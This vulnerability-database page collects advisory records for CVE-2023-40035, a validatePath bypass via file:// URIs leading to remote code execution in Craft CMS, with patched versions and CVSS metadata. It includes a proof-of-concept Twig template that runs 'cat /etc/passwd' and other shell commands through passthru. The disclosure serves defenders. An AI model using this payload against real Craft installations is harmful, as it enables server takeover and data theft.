CVE-2023-40035
Vulnerability from cvelistv5
Published
2023-08-23 20:05
Modified
2024-10-02 20:35
Severity ?
EPSS score ?
Summary
Craft is a CMS for creating custom digital experiences on the web and beyond. Bypassing the validatePath function can lead to potential remote code execution. This vulnerability can lead to malicious control of vulnerable systems and data exfiltrations. Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution). This issue has been patched in version 4.4.15 and version 3.8.15.
References
Impacted products
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}
gsd-2023-40035
Vulnerability from gsd
Modified
2023-12-13 01:20
Details
Craft is a CMS for creating custom digital experiences on the web and beyond. Bypassing the validatePath function can lead to potential remote code execution. This vulnerability can lead to malicious control of vulnerable systems and data exfiltrations. Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution). This issue has been patched in version 4.4.15 and version 3.8.15.
Aliases
Aliases
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ghsa-44wr-rmwq-3phw
Vulnerability from github
Published
2023-08-21 19:58
Modified
2023-08-23 22:14
Severity ?
Summary
Craft CMS vulnerable to Remote Code Execution via validatePath bypass
Details
Summary
Bypassing the validatePath function can lead to potential Remote Code Execution (Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
In bootstrap.php, the SystemPaths path is set as below. ```php // Set the vendor path. By default assume that it's 4 levels up from here $vendorPath = $findConfigPath('--vendorPath', 'CRAFT_VENDOR_PATH') ?? dirname(DIR, 3);
// Set the "project root" path that contains config/, storage/, etc. By default assume that it's up a level from vendor/. $rootPath = $findConfigPath('--basePath', 'CRAFT_BASE_PATH') ?? dirname($vendorPath);
// By default the remaining directories will be in the base directory $dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT_DOTENV_PATH') ?? "$rootPath/.env"; $configPath = $findConfigPath('--configPath', 'CRAFT_CONFIG_PATH') ?? "$rootPath/config"; $contentMigrationsPath = $findConfigPath('--contentMigrationsPath', 'CRAFT_CONTENT_MIGRATIONS_PATH') ?? "$rootPath/migrations"; $storagePath = $findConfigPath('--storagePath', 'CRAFT_STORAGE_PATH') ?? "$rootPath/storage"; $templatesPath = $findConfigPath('--templatesPath', 'CRAFT_TEMPLATES_PATH') ?? "$rootPath/templates"; $translationsPath = $findConfigPath('--translationsPath', 'CRAFT_TRANSLATIONS_PATH') ?? "$rootPath/translations"; $testsPath = $findConfigPath('--testsPath', 'CRAFT_TESTS_PATH') ?? "$rootPath/tests"; ```
Because paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir() ```php /* * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 / public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void { // Make sure it’s not within any of the system directories $path = FileHelper::absolutePath($this->getRootPath(), '/');
$systemDirs = Craft::$app->getPath()->getSystemPaths();
foreach ($systemDirs as $dir) {
$dir = FileHelper::absolutePath($dir, '/');
if (str_starts_with("$path/", "$dir/")) {
$validator->addError($this, $attribute, Craft::t('app', 'Local volumes cannot be located within system directories.'));
break;
}
}
}
```
ref. https://www.php.net/manual/en/wrappers.file.php
PoC
1) Create a new filesystem. Base Path: file:///var/www/html/templates
2) Create a new asset volume. Asset Filesystem: local_bypass
3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates
twig
{{'<pre>'}}
{{1337*1337}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}
4) Create a new route. URI: * , Template: poc.ttml
5) Confirm RCE on arbitrary path ( /* )
PoC Env
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
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],
"aliases": [
"CVE-2023-40035"
],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-21T19:58:04Z",
"nvd_published_at": "2023-08-23T21:15:08Z",
"severity": "HIGH"
},
"details": "### Summary\nBypassing the validatePath function can lead to potential Remote Code Execution\n(Post-authentication, ALLOW_ADMIN_CHANGES=true)\n\n### Details\n\nIn bootstrap.php, the SystemPaths path is set as below.\n```php\n// Set the vendor path. By default assume that it\u0027s 4 levels up from here\n$vendorPath = $findConfigPath(\u0027--vendorPath\u0027, \u0027CRAFT_VENDOR_PATH\u0027) ?? dirname(__DIR__, 3);\n\n// Set the \"project root\" path that contains config/, storage/, etc. By default assume that it\u0027s up a level from vendor/.\n$rootPath = $findConfigPath(\u0027--basePath\u0027, \u0027CRAFT_BASE_PATH\u0027) ?? dirname($vendorPath);\n\n// By default the remaining directories will be in the base directory\n$dotenvPath = $findConfigPath(\u0027--dotenvPath\u0027, \u0027CRAFT_DOTENV_PATH\u0027) ?? \"$rootPath/.env\";\n$configPath = $findConfigPath(\u0027--configPath\u0027, \u0027CRAFT_CONFIG_PATH\u0027) ?? \"$rootPath/config\";\n$contentMigrationsPath = $findConfigPath(\u0027--contentMigrationsPath\u0027, \u0027CRAFT_CONTENT_MIGRATIONS_PATH\u0027) ?? \"$rootPath/migrations\";\n$storagePath = $findConfigPath(\u0027--storagePath\u0027, \u0027CRAFT_STORAGE_PATH\u0027) ?? \"$rootPath/storage\";\n$templatesPath = $findConfigPath(\u0027--templatesPath\u0027, \u0027CRAFT_TEMPLATES_PATH\u0027) ?? \"$rootPath/templates\";\n$translationsPath = $findConfigPath(\u0027--translationsPath\u0027, \u0027CRAFT_TRANSLATIONS_PATH\u0027) ?? \"$rootPath/translations\";\n$testsPath = $findConfigPath(\u0027--testsPath\u0027, \u0027CRAFT_TESTS_PATH\u0027) ?? \"$rootPath/tests\";\n```\n\nBecause paths are validated based on the /path1/path2 format, this can be bypassed using a file URI scheme such as file:///path1/path2. File scheme is supported in mkdir()\n```php\n /**\n * @param string $attribute\n * @param array|null $params\n * @param InlineValidator $validator\n * @return void\n * @since 4.4.6\n */\n public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void\n {\n // Make sure it\u2019s not within any of the system directories\n $path = FileHelper::absolutePath($this-\u003egetRootPath(), \u0027/\u0027);\n\n $systemDirs = Craft::$app-\u003egetPath()-\u003egetSystemPaths();\n\n foreach ($systemDirs as $dir) {\n $dir = FileHelper::absolutePath($dir, \u0027/\u0027);\n if (str_starts_with(\"$path/\", \"$dir/\")) {\n $validator-\u003eaddError($this, $attribute, Craft::t(\u0027app\u0027, \u0027Local volumes cannot be located within system directories.\u0027));\n break;\n }\n }\n }\n```\n\nref. https://www.php.net/manual/en/wrappers.file.php\n\n\n\n### PoC\n1) Create a new filesystem. **Base Path: file:///var/www/html/templates**\n\n\n\n\n2) Create a new asset volume. Asset Filesystem: local_bypass\n\n\n\n\n3) Upload a ttml file with rce template code. Confirm poc.ttml file created in /var/www/html/templates\n```twig\n{{\u0027\u003cpre\u003e\u0027}}\n{{1337*1337}}\n{{[\u0027cat /etc/passwd\u0027]|map(\u0027passthru\u0027)|join}}\n{{[\u0027id;pwd;ls -altr /\u0027]|map(\u0027passthru\u0027)|join}}\n```\n\n\n\n\n4) Create a new route. URI: * , Template: poc.ttml\n\n\n\n\n5) Confirm RCE on arbitrary path ( /* )\n\n\n\n\n#### PoC Env\n\n\n\n\n### Impact\nTake control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.\n\nalthough the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)\n",
"id": "GHSA-44wr-rmwq-3phw",
"modified": "2023-08-23T22:14:58Z",
"published": "2023-08-21T19:58:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/security/advisories/GHSA-44wr-rmwq-3phw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40035"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/commit/0bd33861abdc60c93209cff03eeee54504d3d3b5"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/3.8.15"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/releases/tag/4.4.15"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Craft CMS vulnerable to Remote Code Execution via validatePath bypass"
}
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.